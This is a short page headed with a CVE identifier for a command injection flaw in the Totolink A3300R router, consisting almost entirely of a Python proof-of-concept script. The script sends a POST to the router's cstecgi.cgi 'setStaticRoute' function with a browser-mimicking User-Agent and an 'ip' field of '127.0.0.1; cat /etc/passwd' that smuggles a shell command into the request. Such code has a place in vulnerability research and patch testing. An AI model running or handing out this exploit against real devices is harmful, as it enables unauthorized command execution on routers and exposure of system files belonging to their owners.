CVE-2026-5104 Totolink A3300R 命令注入漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Headers mimicking a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } # Payload data demonstrating command injection in the 'ip' parameter # The payload attempts to execute 'reboot' or 'cat /etc/passwd' via command injection # Example: 127.0.0.1; cat /etc/passwd data = { "function": "setStaticRoute", "ip": "127.0.0.1; cat /etc/passwd", "netmask": "255.255.255.0", "gateway": "192.168.0.254" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, headers=headers, data=data, timeout=10) # Checking response status if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")